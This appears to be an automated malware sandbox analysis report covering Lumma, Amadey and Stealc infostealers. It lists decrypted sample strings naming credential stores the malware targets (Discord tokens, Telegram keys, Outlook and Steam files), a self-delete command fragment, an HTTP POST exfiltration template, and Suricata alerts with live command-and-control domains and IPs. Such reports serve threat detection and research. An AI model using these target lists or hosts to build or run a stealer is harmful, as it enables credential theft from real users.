Source: 26.2.num.exe.d10000.0.unpack String decryptor: User Agents:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Installed Apps:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: All Users:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Current User:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Process List:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: system_info.txt
Source: 26.2.num.exe.d10000.0.unpack String decryptor: freebl3.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: mozglue.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: msvcp140.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: nss3.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: softokn3.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: vcruntime140.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: \Temp\
Source: 26.2.num.exe.d10000.0.unpack String decryptor: .exe
Source: 26.2.num.exe.d10000.0.unpack String decryptor: runas
Source: 26.2.num.exe.d10000.0.unpack String decryptor: open
Source: 26.2.num.exe.d10000.0.unpack String decryptor: /c start
Source: 26.2.num.exe.d10000.0.unpack String decryptor: %DESKTOP%
Source: 26.2.num.exe.d10000.0.unpack String decryptor: %APPDATA%
Source: 26.2.num.exe.d10000.0.unpack String decryptor: %LOCALAPPDATA%
Source: 26.2.num.exe.d10000.0.unpack String decryptor: %USERPROFILE%
Source: 26.2.num.exe.d10000.0.unpack String decryptor: %DOCUMENTS%
Source: 26.2.num.exe.d10000.0.unpack String decryptor: %PROGRAMFILES%
Source: 26.2.num.exe.d10000.0.unpack String decryptor: %PROGRAMFILES_86%
Source: 26.2.num.exe.d10000.0.unpack String decryptor: %RECENT%
Source: 26.2.num.exe.d10000.0.unpack String decryptor: *.lnk
Source: 26.2.num.exe.d10000.0.unpack String decryptor: files
Source: 26.2.num.exe.d10000.0.unpack String decryptor: \discord\
Source: 26.2.num.exe.d10000.0.unpack String decryptor: \Local Storage\leveldb\CURRENT
Source: 26.2.num.exe.d10000.0.unpack String decryptor: \Local Storage\leveldb
Source: 26.2.num.exe.d10000.0.unpack String decryptor: \Telegram Desktop\
Source: 26.2.num.exe.d10000.0.unpack String decryptor: key_datas
Source: 26.2.num.exe.d10000.0.unpack String decryptor: D877F783D5D3EF8C*
Source: 26.2.num.exe.d10000.0.unpack String decryptor: map*
Source: 26.2.num.exe.d10000.0.unpack String decryptor: A7FDF864FBC10B77*
Source: 26.2.num.exe.d10000.0.unpack String decryptor: A92DAA6EA6F891F2*
Source: 26.2.num.exe.d10000.0.unpack String decryptor: F8806DD0C461824F*
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Telegram
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Tox
Source: 26.2.num.exe.d10000.0.unpack String decryptor: *.tox
Source: 26.2.num.exe.d10000.0.unpack String decryptor: *.ini
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Password
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.num.exe.d10000.0.unpack String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 26.2.num.exe.d10000.0.unpack String decryptor: 00000001
Source: 26.2.num.exe.d10000.0.unpack String decryptor: 00000002
Source: 26.2.num.exe.d10000.0.unpack String decryptor: 00000003
Source: 26.2.num.exe.d10000.0.unpack String decryptor: 00000004
Source: 26.2.num.exe.d10000.0.unpack String decryptor: \Outlook\accounts.txt
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Pidgin
Source: 26.2.num.exe.d10000.0.unpack String decryptor: \.purple\
Source: 26.2.num.exe.d10000.0.unpack String decryptor: accounts.xml
Source: 26.2.num.exe.d10000.0.unpack String decryptor: dQw4w9WgXcQ
Source: 26.2.num.exe.d10000.0.unpack String decryptor: token:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Software\Valve\Steam
Source: 26.2.num.exe.d10000.0.unpack String decryptor: SteamPath
Source: 26.2.num.exe.d10000.0.unpack String decryptor: \config\
Source: 26.2.num.exe.d10000.0.unpack String decryptor: ssfn*
Source: 26.2.num.exe.d10000.0.unpack String decryptor: config.vdf
Source: 26.2.num.exe.d10000.0.unpack String decryptor: DialogConfig.vdf
Source: 26.2.num.exe.d10000.0.unpack String decryptor: DialogConfigOverlay*.vdf
Source: 26.2.num.exe.d10000.0.unpack String decryptor: libraryfolders.vdf
Source: 26.2.num.exe.d10000.0.unpack String decryptor: loginusers.vdf
Source: 26.2.num.exe.d10000.0.unpack String decryptor: \Steam\
Source: 26.2.num.exe.d10000.0.unpack String decryptor: sqlite3.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: browsers
Source: 26.2.num.exe.d10000.0.unpack String decryptor: done
Source: 26.2.num.exe.d10000.0.unpack String decryptor: soft
Source: 26.2.num.exe.d10000.0.unpack String decryptor: \Discord\tokens.txt
Source: 26.2.num.exe.d10000.0.unpack String decryptor: /c timeout /t 5 & del /f /q "
Source: 26.2.num.exe.d10000.0.unpack String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 26.2.num.exe.d10000.0.unpack String decryptor: C:\Windows\system32\cmd.exe
Source: 26.2.num.exe.d10000.0.unpack String decryptor: https
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 26.2.num.exe.d10000.0.unpack String decryptor: POST
Source: 26.2.num.exe.d10000.0.unpack String decryptor: HTTP/1.1
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Content-Disposition: form-data; name="
Source: 26.2.num.exe.d10000.0.unpack String decryptor: hwid
Source: 26.2.num.exe.d10000.0.unpack String decryptor: build
Source: 26.2.num.exe.d10000.0.unpack String decryptor: token
Source: 26.2.num.exe.d10000.0.unpack String decryptor: file_name
Source: 26.2.num.exe.d10000.0.unpack String decryptor: file
Source: 26.2.num.exe.d10000.0.unpack String decryptor: message
Source: 26.2.num.exe.d10000.0.unpack String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 26.2.num.exe.d10000.0.unpack String decryptor: screenshot.jpg
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49788 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49870 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49889 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49900 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49953 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50025 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50028 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50035 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50044 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50046 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62823 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62837 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62843 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62854 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62862 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62871 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62881 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62891 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62914 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:62916 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62920 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:62926 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:62927 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62938 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:62939 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:62946 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62945 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62943 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62944 version: TLS 1.2
Source: Binary string: my_library.pdbU source: 606111e8b5.exe, 00000009.00000002.2309214794.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 00000009.00000003.2261496330.000000000576B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2361140547.0000000000D3C000.00000008.00000001.01000000.00000013.sdmp, 606111e8b5.exe, 0000001D.00000002.2520754609.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 0000001D.00000003.2426511088.000000000519B000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: my_library.pdb source: 606111e8b5.exe, 00000009.00000002.2309214794.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 00000009.00000003.2261496330.000000000576B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2361140547.0000000000D3C000.00000008.00000001.01000000.00000013.sdmp, 606111e8b5.exe, 0000001D.00000002.2520754609.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 0000001D.00000003.2426511088.000000000519B000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: GVDV7NGS54W9A7T64.exe, 00000004.00000003.2038530305.00000000047E0000.00000004.00001000.00020000.00000000.sdmp, GVDV7NGS54W9A7T64.exe, 00000004.00000002.2174629475.0000000000FD2000.00000040.00000001.01000000.00000006.sdmp, RIT5CLJSOG1HZLWAHXIC60.exe, 0000001F.00000003.2466004601.0000000004890000.00000004.00001000.00020000.00000000.sdmp
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Directory queried: number of queries: 1339
Source: firefox.exe Memory has grown: Private usage: 1MB later: 195MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:58621 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:52823 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:55755 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:51454 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:64257 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49734 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49733 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49743 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49745 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:56010 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:54237 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:58693 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:63329 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49746
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49748 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49750 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49749 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49752 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49754 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49753 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49755 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49758 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49764 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49770 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49781 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49788 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:60882 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:56131 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:65246 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:54137 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49800 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49803 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49811 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49819 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49829 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49843 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49870 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49907 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49937 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49906 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49953 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49971 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:63053 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:65451 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:56005 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:62818 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:60643 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:62843 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:62823 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:62837 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:62854 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:62862 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:62881 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:62891 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:62871 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:62882 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:62934 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49750 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49743 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49750 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49752 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49748 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49748 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49811 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49788 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49811 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49800 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49800 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49953 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:62837 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:62837 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:62843 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:62823 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:62823 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:62891 -> 188.114.97.3:443
